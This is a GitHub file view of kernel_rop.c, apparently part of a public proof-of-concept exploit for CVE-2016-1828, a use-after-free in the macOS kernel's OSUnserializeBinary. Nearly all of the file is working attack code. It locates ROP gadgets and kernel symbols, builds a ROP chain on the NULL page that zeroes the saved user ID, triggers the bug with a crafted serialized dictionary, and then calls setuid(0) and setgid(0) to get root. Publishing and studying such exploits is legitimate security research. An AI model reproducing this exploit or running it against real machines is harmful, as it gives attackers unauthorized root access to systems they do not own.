-
Notifications
You must be signed in to change notification settings - Fork 28
Expand file tree
/
Copy pathkernel_rop.c
More file actions
129 lines (122 loc) · 5.54 KB
/
kernel_rop.c
File metadata and controls
129 lines (122 loc) · 5.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
/* kernel_rop.c
* Brandon Azad
*
* Kernel instruction pointer control to execute the ROP payload.
*
* CVE-2016-1828:
* This vulnerability is a use-after-free in OSUnserializeBinary that can be
* triggered via the io_service_get_matching_services_bin Mach trap from
* user space.
*/
#include "kernel_rop.h"
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
#include <mach/mach.h>
#include <stdio.h>
#include "kernel_image.h"
static const uint8_t xchg_esp_eax_pop_rsp_ins[] = {
0x94, /* xchg esp, eax */
0x5c, /* pop rsp */
0xc3, /* ret */
};
static const uint8_t xchg_rax_rdi_ins[] = {
0x48, 0x97, /* xchg rax, rdi */
0xc3, /* ret */
};
static const uint8_t set_svuid_0_ins[] = {
0xc7, 0x47, 0x08, 0x00, 0x00, 0x00, 0x00, /* mov dword ptr [rdi+8], 0 */
0xc3, /* ret */
};
/* Build the ROP payload that will be used to control code execution in the
kernel. The payload is stored on the NULL page, so the kernel will panic if
SMAP is enabled. The entry point is the instruction pointer stored in
virtual method 4, which will pivot to the ROP stack. The ROP stack is placed
at the end of the NULL page so that there's room for the stack frames of the
functions we call.
The payload itself sets the saved user ID to 0. Once we return from the
kernel we can elevate privileges by calling seteuid(0). */
int
build_rop_payload() {
uint64_t xchg_esp_eax_pop_rsp, xchg_rax_rdi, set_svuid_0;
uint64_t current_proc, proc_ucred, posix_cred_get, thread_exception_return;
int err = 0;
err |= find_kernel_bytes(xchg_esp_eax_pop_rsp_ins, sizeof(xchg_esp_eax_pop_rsp_ins), &xchg_esp_eax_pop_rsp);
err |= find_kernel_bytes(xchg_rax_rdi_ins, sizeof(xchg_rax_rdi_ins), &xchg_rax_rdi);
err |= find_kernel_bytes(set_svuid_0_ins, sizeof(set_svuid_0_ins), &set_svuid_0);
if (err) {
printf("error: could not locate ROP gadgets\n");
return 1;
}
err |= find_kernel_symbol("_current_proc", ¤t_proc);
err |= find_kernel_symbol("_proc_ucred", &proc_ucred);
err |= find_kernel_symbol("_posix_cred_get", &posix_cred_get);
err |= find_kernel_symbol("_thread_exception_return", &thread_exception_return);
if (err) {
printf("error: could not locate symbols for ROP payload\n");
return 2;
}
vm_address_t payload_addr = 0;
size_t size = 0x1000;
/* In case we are re-executing, deallocate the NULL page. */
vm_deallocate(mach_task_self(), payload_addr, size);
kern_return_t kr = vm_allocate(mach_task_self(), &payload_addr, size, 0);
if (kr != KERN_SUCCESS) {
printf("error: could not allocate NULL page for payload\n");
return 3;
}
uint64_t * vtable = (uint64_t *)payload_addr;
uint64_t * rop_stack = ((uint64_t *)(payload_addr + size)) - 8;
/* Virtual method 4 is called in the kernel with rax set to 0. */
vtable[0] = (uint64_t)rop_stack; /* *0 = rop_stack */
vtable[4] = xchg_esp_eax_pop_rsp; /* rsp = 0; rsp = *rsp; start rop */
rop_stack[0] = current_proc; /* rax = &proc */
rop_stack[1] = xchg_rax_rdi; /* rdi = &proc */
rop_stack[2] = proc_ucred; /* rax = &cred */
rop_stack[3] = xchg_rax_rdi; /* rdi = &cred */
rop_stack[4] = posix_cred_get; /* rax = &posix_cred */
rop_stack[5] = xchg_rax_rdi; /* rdi = &posix_cred */
rop_stack[6] = set_svuid_0; /* we are now setuid 0 */
rop_stack[7] = thread_exception_return; /* stop rop */
return 0;
}
/* Trigger the use-after-free to start executing the ROP payload. If the ROP
payload succeeds the UID and GID of the process will be set to 0. */
int
execute_rop_payload() {
uint32_t data[] = {
0x000000d3, /* magic */
0x81000010, /* 0: OSDictionary */
0x08000002, 0x00000061, /* 1: key "a" */
0x04000020, 0x00000000, 0x00000000, /* 2: 1[2: OSNumber] */
0x08000002, 0x00000062, /* 3: key "b" */
0x04000020, 0x00000000, 0x00000000, /* 4: 2[4: OSNumber] */
0x0c000001, /* 5: key "a" */
0x0b000001, /* 6: true ; heap freelist: 1[2:] */
0x0c000003, /* 7: key "b" */
0x0b000001, /* 8: true ; heap freelist: 2[4:] 1[2:] */
0x0c000001, /* 9: key "a" */
0x0a000028, /* 10: 2[10,4: OSData] => 1[2: contents] */
0x00000000, 0x00000000, /* vtable ptr */
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000000, 0x00000000, 0x00000000,
0x0c000001, /* 11: key "b" */
0x8c000002, /* 12: 1[2: contents]->retain() */
};
mach_port_t master_port, iterator;
kern_return_t kr = IOMasterPort(MACH_PORT_NULL, &master_port);
if (kr != KERN_SUCCESS) {
return 1;
}
kr = io_service_get_matching_services_bin(master_port, (char *)data, sizeof(data), &iterator);
seteuid(0);
setuid(0);
setgid(0);
if (kr == KERN_SUCCESS) {
IOObjectRelease(iterator);
}
if (getuid() == 0) {
return 0;
}
printf("error: could not execute ROP payload\n");
return 2;
}